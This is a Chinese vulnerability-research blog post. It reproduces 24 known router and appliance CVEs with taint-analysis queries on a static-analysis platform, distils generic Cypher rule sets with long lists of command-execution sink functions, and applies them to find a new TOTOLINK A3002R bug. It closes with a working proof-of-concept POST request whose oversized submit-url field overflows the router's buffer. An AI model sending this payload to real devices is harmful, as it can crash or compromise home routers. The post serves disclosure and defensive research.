【破壳之路】从CVE复现到TOTOLINK新0day挖掘实践

一、前言

在前面的文章中我们使用破壳复现了一些漏洞,本文对最近使用平台复现的24个漏洞进行分析,并在此分析结果上总结出一个较为通用的规则组,基于该规则组进行0day漏洞挖掘,根据查询的结果提交漏洞,并获得编号CVE-2024-42520

二、破壳漏洞复现

本文选择一些使用破壳复现的漏洞作为分析集合,具体漏洞列表如下,该分析集合包含了缓冲区溢出,目录穿越,信息泄漏,命令注入,SQL注入,整数溢出等漏洞模式。

PSV-2020-0211        Netgear栈溢出
CVE-2023-27369       Netgear SSL_read 缓冲区溢出
CVE-2018-14847        routeros 任意文件读
CNVD-2019-3127       万宝泽摄像头命令注入
D-Link DIR-859       未授权命令执行漏洞
CVE-2022-20699       Cisco RV340 SSL VPN 远程代码执行
CVE-2023-3519        Citrix 缓冲区溢出
CVE-2023-4966        Citrix 信息泄漏
CVE-2024-28353       TEW-827DRU 命令注入 
CNVD-2020-3321       万宝泽摄像头p12缓冲区溢出
CVE-2024-5035        TPlink 命令注入
CVE-2023-39747        TPlink 缓冲区溢出
CVE-2023-22747       aruba 命令注入 
CVE-2021-27239       Netgear strncpy栈溢出漏洞
CVE-2018-18708       腾达路由器缓冲区溢出漏洞
CVE-2019-7481        SonicWall SMA100 SQL注入
CVE-2019-7483        目录遍历
CVE-2019-7486        命令注入
CVE-2022-20705       Cisco RV340  
CVE-2022-20827       Cisco RV340w 
CVE-2023-48784       Fortinet FortiOS 格式化字符串错误漏洞
CVE-2018-13379       Fortigate任意文件读
CNVD-2022-51650      Linksys 
VMware整数溢出漏洞

以上的漏洞复现均采用破壳进行漏洞查询的常用方式,具体有:

  • 污点分析
  • 模式匹配
  • 查询危险函数的函数调用栈
  • 自实现sink点查询插件

所以,下面简单介绍一下这几种查询方式以及使用该方式可以查询出的漏洞。

三、使用污点查询复现

3.1 污点分析示例

静态污点传播分析(简称静态污点分析)是指在不运行且不修改代码的前提下,通过分析程序变量间的数据依赖关系来检测数据能否从污点源传播到污点汇聚点。

破壳上的污点分析功能是相对容易上手且效果不错的功能之一,查询结果的可视化对于漏洞查询帮助很大。且基本上相较于模式匹配查询出的结果是漏洞的可能性也更大。因此也是笔者使用最多的一个漏洞查询方式。

这里以PSV-2020-0211Netgear 栈溢出 为例source点选择为recvfrom 函数的第2个参数,sink点选择为strcpy函数的第2参数,查询结果如下:

查询使用的cypher语句如下:

MATCH (n:identifier) 
WHERE n.callee in ["recvfrom"] AND n.index=1 
WITH collect(id(n)) as sourceSet 
MATCH (n:identifier) 
WHERE n.callee in ["strcpy"] AND n.index in [1] 
WITH sourceSet,collect(id(n)) as sinkSet 
CALL VQL.taintPropagation(sourceSet,sinkSet) YIELD taintPropagationPath 
RETURN taintPropagationPath

3.2 详细查询信息

通过这种方式查询到的漏洞如下表,其中可以重点关注下他们的污点路径source点和sink点的选取

这里有两个概念需要解释一下:

  1. 默认source,sink即一些平台上已经内置了的常见source,sink点。recvrecvfrom函数作为source 点。systempopen函数作为默认sink点。在平台中直接使用is_sourceis_sink 属性即可使用默认的source点和sink点。
  2. 非默认source,sink。由于程序中可能存在间接调用,默认source,sink点封装在库函数,污点查询路径中经过了某些分析目标中自定义的库函数也会导致污点分析的数据流中断。因此有些漏洞查询会选择一些更接近sink点的source来避免上述问题。而非默认sourcesink点的选取策略通常为经过一定程度逆向后发现的数据获取或解析类函数getStringFromXmlObgcgiFetchString 等。这些函数取得的值大概率是用户传入的数据,因此有作为sink点进行污点查询的合理性。还比如linksys路由器中的FUN_004241d0函数,功能其实是获取json中对应字段的数据,等效于 get_from_json,这里也用其作为source点。

在分析集合中,有以下漏洞是通过污点分析复现的,其详细信息如下表所示:

漏洞名称漏洞类型污点路径是否默认source,sink
PSV-2020-0211 Netgear栈溢出缓冲区溢出recvfrom->FUN_00025e04->strcpy
CNVD-2019-3127 万宝泽摄像头命令注入命令注入recv->stcmp->strncasecmp->sprintf->popen
D-Link DIR-859 未授权命令执行漏洞命令注入getenv->lmldc_system
CVE-2022-20699 Cisco RV340 SSL VPN 远程代码执行缓冲区溢出FUN_00026f4c->strncat->FUN_001fd40->FUN_000211d8->memcpyFUN_00026f4c(pararm1,buf,0x4000)
Citrix CVE-2023-4966信息泄漏snprintf->ns_vpn_send_responsens_vpn_send_response(lVar1,0x980200,&ns_HttpRedirectPkt,length);
CVE-2024-28353-TEW-827DRU命令注入uci_safe_get->_systemuci_safe_get(“usbapps.config.smb_enable”),_system(“smbpasswd -x %s”,post_smb_user);
万宝泽摄像头p12缓冲区溢出缓冲区溢出getStringFromXmlOb->strchr->strncpygetStringFromXmlObj(xml_obj, (int)”UTCDateTime”)
TPlink CVE-2024-50命令注入read->popen
TPlink CVE-2023-39747缓冲区溢出httpGetEnv->strcpyhttpGetEnv(param_2, “radiusSecret”)
Netgear CVE-2021-27239 strncpy栈溢出漏洞缓冲区溢出recvfrom->stristr->strncpy
CVE-2018-18708 腾达路由器缓冲区溢出漏洞缓冲区溢出FUN_0002ba8c->strcpyFUN_0002ba8c(a1,”devuceList”, &unk_F5124)
SonicWall SMA100 CVE-2019-7481 SQL 注入SQL注入gcgiFetchString->emailInvitedRLFindFirst->sqlite3_prepare_v2gcgiFetchString(“customerTID”, &STACK[0xD78], 128) ), 
CVE-2019-7483 目录遍历目录穿越gcgiFetchString->snprintf->fopengcgiFetchString(“customerTID”, &STACK[0xD78], 128) ), 
CVE-2019-7486 命令注入命令注入gcgiFetchString->strchr->sprintf->syncVarSettings->systemgcgiFetchString(&DAT_0804a6e0,pcVar3,0x80);
Cisco RV340 CVE-2022-20705 命令注入getenv->strtok_value->FUN_xxxx->FUN_xxxx->sprintf->popenget_strtok_value(cookie,”session_id”,”;”,sessionid)
Cisco RV340w CVE-2022-20827命令注入fgets->FUN_xxxx->FUN_xxxx->sprintf>popen
Fortinet FortiOS 格式化字符串错误漏洞(CVE-2023-48784)格式化字符串FUN_xxxxx->snprintfFUN_xxxxx
CVE-2018-13379fortigate任意文件读任意文件读写FUN_012ab060->snrpintf->fopenFUN_012ab060
Linksys CNVD-2022-51650命令注入FUN_004241d0-> sprintf->systemFUN_004241d0

据表中数据所示,19个漏洞是使用污点分析进行复现的,根据复现情况,可做以下提炼,总结出通用的漏洞查询规则:

命令注入类漏洞

命令注入类型漏洞共有8个,其中有4个是使用默认sourcesink点查询的。可见默认source和sink的查询方式还是有很大局限呢。而其中大部分无法使用默认规则来查询到的情况基本都是source选择的问题。

因此选择合适的自定义source其实是在使用污点查询中很重要的一个步骤,可以很大提升命令注入漏洞的检出率且准确。

针对特定设备或者产品系列来针对性的定义source其实是一个可行之举,但是缺陷是缺乏泛用性。但是有没有什么其他特征呢。比如他们有没有什么共同经过的污点路径,这样就可以选取中间的路径可以让我们的准确率提高一些。让我们观察一下这写命令注入漏洞的污点路径。

漏洞名称污点路径
万宝泽摄像头命令注入recv->stcmp->strncasecmp->sprintf->popen
D-Link DIR-859 未授权命令执行漏洞getenv->lmldc_system
CVE-2024-28353-TEW-827DRUuci_safe_get->_system
TPlink CVE-2024-5035read->popen4
CVE-2019-7486 命令注入gcgiFetchString->strchr->sprintf->syncVarSettings->system
Cisco RV340 CVE-2022-20705 getenv->strtok_value->FUN_xxxx->FUN_xxxx->sprintf->popen
Cisco RV340w CVE-2022-20827fgets->FUN_xxxx->FUN_xxxx->sprintf>popen
Linksys CNVD-2022-51650FUN_004241d0-> sprintf->system

我们可以看到8个漏洞中5个路径中都带有sprintfsnprintf这种字符串拼接函数,而另外3个没有经过snprintf或者sprintf的函数中其中有两个的sink点如lmldc_system函数是自带了格式化字符串操作去拼接命令的。

如果我们使用格式化字符串拼接操作作为source点,默认的命令执行函数如system,popen等来作为sink,是有接近90%的检出率的,且因为这种操作本身较少误报也并不多。

缓冲区溢出类漏洞

缓冲区溢出漏洞共有6个,其中使用默认sourcesink可以查询到的只占2个。

漏洞名称污点路径
PSV-2020-0211 Netgear栈溢出recvfrom->FUN_00025e04->strcpy
CVE-2022-20699 Cisco RV340 SSL VPN 远程代码执行FUN_00026f4c->strncat->FUN_001fd40->FUN_000211d8->memcpy
万宝泽摄像头p12缓冲区溢出getStringFromXmlOb->strchr->strncpy
TPlink CVE-2023-39747httpGetEnv->strcpy
Netgear CVE-2021-27239 strncpy栈溢出漏洞recvfrom->stristr->strncpy
CVE-2018-18708 腾达路由器缓冲区溢出漏洞FUN_0002ba8c->strcpy

而从选取的几个例子中并不能找到一种很好的无任何先验知识即可通用的查询规则。不过有部分是可以形成规则的。比如使用strchrstristr函数的返回值做sourcestrncpy的第三个参数作为sink点也是常见的缓冲区溢出漏洞的漏洞模式。以及strlen,snprintf的返回值作为source而memcpy, strncpy,strcat的第三个参数作为sink点。

不过上面的两种无先验知识的查询方式只能覆盖到小部分缓冲区溢出的漏洞模式,想要更精准的查询还是得找下合适的source点。

目录穿越类漏洞

在选取的两个目录穿越漏洞例子中基本和命令注入漏洞的模式相似,下面是他们的污点路径:

漏洞名称污点路径
CVE-2019-7483 目录遍历gcgiFetchString->snprintf->fopen
CVE-2018-13379fortigate任意文件读FUN_012ab060->snprintf->fopen

发现其实基本也都是通过字符串拼接函数到达默认sink点,因此我们也可以直接使用这种方式进行查询。

四、使用模式匹配复现

使用模式匹配是指针对易出现漏洞的代码语法结构进行匹配,这种方式多用于查询格式化字符串漏洞及特定模式的整数溢出漏洞等。目前很多主流漏洞挖掘工具都是用的这种方式进行漏洞扫描。

例如格式化字符串漏洞可以对sprintf或snprintf的格式化字符串参数是否是一个变量进行判断。

MATCH (m:identifier{callee:"snprintf"}) 
WHERE m.index in [2]  
WITH [m] as taintPropagationPath 
RETURN taintPropagationPath

Fortigate格式化字符串漏洞以及vmware的整数溢出漏洞即使用这种办法进行查询。但据笔者经验,模式匹配的情况可能需要较多先验知识,来对模式匹配进行限定,否则误报较多。

五、查找函数调用栈

《破壳之路》系列中第一篇文章即使用这种方式对routeros CVE-2018-14847来进行查询,虽然这种方式不能直接判断出哪里有漏洞,但是可以帮助我们进行辅助逆向分析,缩小一些需要审计的范围。

在使用该方式复现了routeros CVE-2018-14847aruba命令注入 CVE-2023-22747 这两个漏洞,这两个漏洞的共同点是都是C++程序。目前数据流在C++上还是较容易中断,因此使用控制流去查询也是一种思路。

六、使用平台内置插件

该功能目前尚未在破壳平台开放,主要利用多个单功能cypher语句组合达成复杂功能的效果。其中一个常用插件是查询二进制文件中的循环拷贝操作,且循环拷贝操作的结束条件可控。

主要用于查询如Netgear SSL_read 缓冲区溢出这类漏洞,这个会一直进行循环读取直到循环读取到的内容为回车时停止。

int __fastcall sub_8278(int a1, void *s, int a3)
{
  int v5; // r7
  int v6; // r0
  unsigned int error; // r0
  bool v9; // cc
  bool v10; // zf
  int v11[7]; // [sp+4h] [bp-1Ch] BYREF

  v11[0] = (int)s;
  v11[1] = a3;
  memset(s, 0, 0x800u);
  v5 = 0;
  do
  {
    while ( 1 )
    {
      v6 = SSL_read(*(char **)(a1 + 4), (char *)v11, (char *)&dword_0 + 1);
      if ( !v6 )
        return 0;
      if ( v6 != -1 )
        break;
      error = SSL_get_error(*(_DWORD *)(a1 + 4), -1);
      if ( error - 2 > 1 )
      {
        v9 = error > 1;
        if ( error != 1 )
          v9 = error - 5 > 1;
        if ( !v9 )
          return 0;
      }
    }
    v10 = LOBYTE(v11[0]) == '\n';
    *((_BYTE *)s + v5++) = v11[0];
  }
  while ( !v10 );
  return 1;
}

该查询方式可以查询出很多常规模式匹配及污点查询难以检出的漏洞。

七、总结

综上,对于一般网络设备可以看出还是污点查询是最为通用广泛且正确率高的做法。且命令注入和目录穿越类漏洞完全可以使用sprintf这类字符串函数作为替代的source点进行查询。部分缓冲区溢出漏洞模式用污点查询也有不错的效果。

据笔者经验和本文分析情况,总结了一套针对无先验知识的目标对象具有较好实践效果的查询方案,其顺序如下:

  1. 通过字符串拼接操作作为source;命令执行,文件打开作为sink进行污点查询
  2. 使用strchrstristr函数的返回值做sourcestrncpy的第三个参数作为sink点。以及strlen,snprintf的返回值作为source而memcpy, strncpy,strcat的第三个参数作为sink点进行污点查询
  3. 对格式化字符串漏洞进行模式匹配
  4. 通过上述查询进行初步分析后,对我们要分析的二进制有一定了解可以使用自定义的更精确的source点进行进一步污点查询
  5. 使用平台内置插件,对循环拷贝类的溢出进行查询

上述是一个漏洞查询时的参考顺序,根据需要先验知识的多少进行排序。在实际漏洞挖掘中我们可以根据自身需要与逆向进度自由组合和选择查询的方式。笔者总结的规则组在附录可见。

八、TOTOLINK路由器0day挖掘实践

8.1 设备信息及思路

TOTOLINK_A3002R是一款使用广泛的家用路由器,主要采用了boa的服务架构。这里笔者主要采用了自己总结的命令注入的规则组进行查询,后续又使用了自定义source点进行缓冲区溢出类漏洞的查询。

8.2 查询过程

在我们对设备没有任何分析经验时,可以首先考虑使用字符串拼接操作为source点进行命令执行漏洞查询。这里显示的结果是我们命令注入规则组中的第一条规则查询到的部分结果。

MATCH (n:identifier) 
WHERE (n.callee="sprintf" and n.index=0) 
OR (n.callee="strcat" and  n.index=1) 
OR (n.callee="snprintf" and n.index=0) 
OR (n.callee='strncat' and n.index=0) 
WITH collect(id(n)) as sourceSet 
MATCH (m:identifier{index:0}) 
WHERE m.callee in ['system', '_system', '_popen', 'popen', 'wpopen', '_wpopen', 'spawn', '_wexecl', '_wspawnv', 'eval', '_wsystem', 'spawnve', '_wspawnlp', '_spawnl', 'execle', '_wspawnve', '_texeclp', '_wexeclp', '_spawnlpe', '_execvp', '_exec', 'COMM_SystemEx', '_wspawnl', '_wspawnvp', 'execlp', 'system_en', '_wspawnvpe', '_wexecv', 'WinExec', '_wspawnle', '_texecvp', 'CreateProcessW', 'twsystem_nowait', '_texecle', '_execv', '__system', '_spawn', 'spawnvp', '_tspawnl', 'doSystemCmd', 'callSystemCmd', '_tspawnlpe', 'CreateProcess', '_spawnve', '_tspawnv', 'spawnlp', 'spawnlpe', 'g_spawn_command_line_async', '_wexecle', 'spawnl', '_spawnvp', '_tspawnlp', '_tspawnle', '_execl', '_wexec', '_wexeclpe', '_tspawnve', 'spawnv', '_tspawn', 'twsystem', '_spawnle', '_execle', 'execvp', '___system', '_wspawn', '_texecl', '_tspawnvp', '_eval', '_texecv', '_spawnlp', '_spawnvpe', 'spawnle', '_execlp', 'execl', '_execlpe', 'CreateProcessA', '_spawnv', '_tspawnvpe', '_texec', '_wexecvp', 'bstar_system', 'prctl_runCommandInShellBlocking', 'execv', 'spawnvpe', '_wspawnlpe', '_texeclpe', 'execlpe', 'jhl_system', 'ATP_UTIL_ExecCmdNoHang', 'j_ATP_UTIL_ExecCmdNoHang', 'bs_SetCmd', 'ExeShell'] 
WITH sourceSet,collect(id(m)) as sinkSet 
CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath 
RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

查询出若干可能命令执行的位置,都是直接对system的参数进行了拼接。另还有很多疑似点,但笔者尚未进行一一验证。

若具有一定逆向经验后,经过简单分析即可找到totolink中类似解析参数的函数FUN_0040f2b4,其参数是submit-url,其实就是解析的post参数。具有合适的source点后污点查询的结果就更为精确了,这里以此为source点进行缓冲区溢出漏洞的污点查询。查询出若干疑似点,对该点进行验证可以造成缓冲区溢出。

通过上面两种方式都可以查询出很多疑似漏洞点,就没有一一进行验证了,笔者学弟选择了一个较好触发的疑似点编写了PoC,大家感兴趣的可以自行尝试。

PoC如下:

POST /boafrm/formParentControl HTTP/1.1
Host: 192.168.0.1
Content-Length: 153
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/parent_control.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

sessionCheck=aa91aa20c248e1003475d90f9d4a8692&submit-url =%2Faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &enabled=0&addPCUrl=%E5%BA%94%E7%94%A8&enableAccess=1&starttime=0&endtime=0

提交CVE获取编号CVE-2024-42520

附录:规则组

命令注入规则组

以字符串拼接操作为source点,命令执行函数为sink点进行污点查询

match (n:identifier) where (n.callee="sprintf" and n.index=0) or (n.callee="strcat" and  n.index=1) or (n.callee="snprintf" and n.index=0) or (n.callee='strncat' and n.index=0) with collect(id(n)) as sourceSet match (m:identifier{index:0}) where m.callee in ['system', '_system', '_popen', 'popen', 'wpopen', '_wpopen', 'spawn', '_wexecl', '_wspawnv', 'eval', '_wsystem', 'spawnve', '_wspawnlp', '_spawnl', 'execle', '_wspawnve', '_texeclp', '_wexeclp', '_spawnlpe', '_execvp', '_exec', 'COMM_SystemEx', '_wspawnl', '_wspawnvp', 'execlp', 'system_en', '_wspawnvpe', '_wexecv', 'WinExec', '_wspawnle', '_texecvp', 'CreateProcessW', 'twsystem_nowait', '_texecle', '_execv', '__system', '_spawn', 'spawnvp', '_tspawnl', 'doSystemCmd', 'callSystemCmd', '_tspawnlpe', 'CreateProcess', '_spawnve', '_tspawnv', 'spawnlp', 'spawnlpe', 'g_spawn_command_line_async', '_wexecle', 'spawnl', '_spawnvp', '_tspawnlp', '_tspawnle', '_execl', '_wexec', '_wexeclpe', '_tspawnve', 'spawnv', '_tspawn', 'twsystem', '_spawnle', '_execle', 'execvp', '___system', '_wspawn', '_texecl', '_tspawnvp', '_eval', '_texecv', '_spawnlp', '_spawnvpe', 'spawnle', '_execlp', 'execl', '_execlpe', 'CreateProcessA', '_spawnv', '_tspawnvpe', '_texec', '_wexecvp', 'bstar_system', 'prctl_runCommandInShellBlocking', 'execv', 'spawnvpe', '_wspawnlpe', '_texeclpe', 'execlpe', 'jhl_system', 'ATP_UTIL_ExecCmdNoHang', 'j_ATP_UTIL_ExecCmdNoHang', 'bs_SetCmd', 'ExeShell'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

match (n:identifier) where (n.callee="sprintf" and n.index=0) or (n.callee="strcat" and n.index=1) or (n.callee="snprintf" and n.index=0) or (n.callee='strncat' and n.index=0) with collect(id(n)) as sourceSet match (m:identifier{index:1}) where m.callee in ['execl', 'execle', 'execlp', '_execl', '_execle', '_execlp', 'spawn', 'g_spawn_async', 'spawnve', '_wspawnve', 'g_spawn_async_with_pipes', '_execvp', '_wspawnv', '_wspawnvp', '_wexecv', 'g_spawn_sync', '_wspawnvpe', '_texecvp', '_execv', '_tspawnvpe', 'spawnvp', 'CreateProcess', '_spawnve', '_tspawnv', '_spawnvp', 'spawnv', 'CreateProcessAsUserA', '_tspawnve', 'execvp', '_texecv', '_tspawnvp', 'eval', 'rut_doSystemAction', 'CreateProcessAsUserW', 'CreateProcessA', '_spawnv', 'ShellExecuteW', '_spawnvpe', '_wexecvp', 'CreateProcessW', 'execv', 'spawnvpe', 'ShellExecuteA'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

match (n:identifier) where (n.callee="sprintf" and n.index=0) or (n.callee="strcat" and n.index=1) or (n.callee="snprintf" and n.index=0) or (n.callee='strncat' and n.index=0) with collect(id(n)) as sourceSet match (m:identifier{index:2}) where m.callee in ['execl', 'execle', 'execlp', '_execl', '_execle', '_execlp', 'spawn', 'g_spawn_async', 'spawnve', '_wspawnve', 'g_spawn_async_with_pipes', '_execvp', '_wspawnv', '_wspawnvp', '_wexecv', 'g_spawn_sync', '_wspawnvpe', '_texecvp', '_execv', 'spawnvp', '_spawnve', '_tspawnv', '_spawnvp', 'spawnv', '_tspawnve', 'CreateProcessAsUserA', '_texecv', '_tspawnvp', 'CreateProcessWithTokenW', 'CreateProcessAsUserW', '_spawnv', '_tspawnvpe', '_wexecvp', '_spawnvpe', 'spawnvpe'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

match (n:identifier) where (n.callee="sprintf" and n.index=0) or (n.callee="strcat" and n.index=1) or (n.callee="snprintf" and n.index=0) or (n.callee='strncat' and n.index=0) with collect(id(n)) as sourceSet match (m:identifier{index:3}) where m.callee in ['execl', 'execle', 'execlp', '_execl', '_execle', '_execlp', 'spawnvpe', '_tspawnve', 'ShellExecuteA', 'spawnve', '_wspawnve', '_spawnve', 'spawn', '_tspawnvpe', 'CreateProcessWithTokenW', '_wspawnvpe', '_spawnvpe'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

match (n:identifier) where (n.callee="sprintf" and n.index=0) or (n.callee="strcat" and n.index=1) or (n.callee="snprintf" and n.index=0) or (n.callee='strncat' and n.index=0) with collect(id(n)) as sourceSet match (m:identifier) where m.callee in ['doSystemCmd', 'callSystemCmd', 'lxmldbc_system'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

目录穿越规则组

以字符串拼接操作为source点,文件打开函数为sink点进行污点查询

match (n:identifier) where (n.callee="sprintf" and n.index=0) or (n.callee="strcat" and n.index=1) or (n.callee="snprintf" and n.index=0) or (n.callee='strncat' and n.index=0) with collect(id(n)) as sourceSet match (m:identifier) where m.callee in ['open', 'fopen'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

缓冲区溢出规则组

以默认网络通信读取函数和strlen,strchr,snprintf函数的返回值作为source点,内存拷贝类函数为sink点进行污点查询

match (n:identifier) where (n.callee="snprintf" and n.index = -1) or (n.callee="recv" and n.index = 1) or (n.callee='recvfrom' and n.index=1) or (n.callee='read' and n.index=1) or (n.callee='getenv' and n.index=-1) or (n.callee='recvmsg' and n.index=1) or (n.callee='GetUrlValue' and n.index=-1) or (n.callee='strlen' and n.index=-1) or (n.callee='strchr' and n.index=-1) with collect(id(n)) as sourceSet match (m:identifier{index:1}) where m.callee in ['strcpy', '_strcpy', 'wcscpy', '_wcscpy', '_mbscpy', 'mbscpy'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

match (n:identifier) where (n.callee="snprintf" and n.index = -1) or (n.callee="recv" and n.index = 1) or (n.callee='recvfrom' and n.index=1) or (n.callee='read' and n.index=1) or (n.callee='getenv' and n.index=-1) or (n.callee='recvmsg' and n.index=1) or (n.callee='GetUrlValue' and n.index=-1) or (n.callee='strlen' and n.index=-1) with collect(id(n)) as sourceSet match (m:identifier{index:1}) where m.callee in ['strcat', '_strcat', 'wcscat', '_wcscat', '_mbscat', 'mbscat'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)

match (n:identifier) where (n.callee="snprintf" and n.index = -1) or (n.callee="recv" and n.index = 1) or (n.callee='recvfrom' and n.index=1) or (n.callee='read' and n.index=1) or (n.callee='getenv' and n.index=-1) or (n.callee='recvmsg' and n.index=1) or (n.callee='GetUrlValue' and n.index=-1) or (n.callee='strlen' and n.index=-1) with collect(id(n)) as sourceSet match (m:identifier{index:2}) where m.callee in ['strncpy', '_strncpy', 'memcpy', '_memcpy', 'strncat', '_strncat'] with sourceSet,collect(id(m)) as sinkSet CALL VQL.taintPropagation(sourceSet, sinkSet,2) YIELD taintPropagationPath RETURN taintPropagationPath ORDER BY size(taintPropagationPath)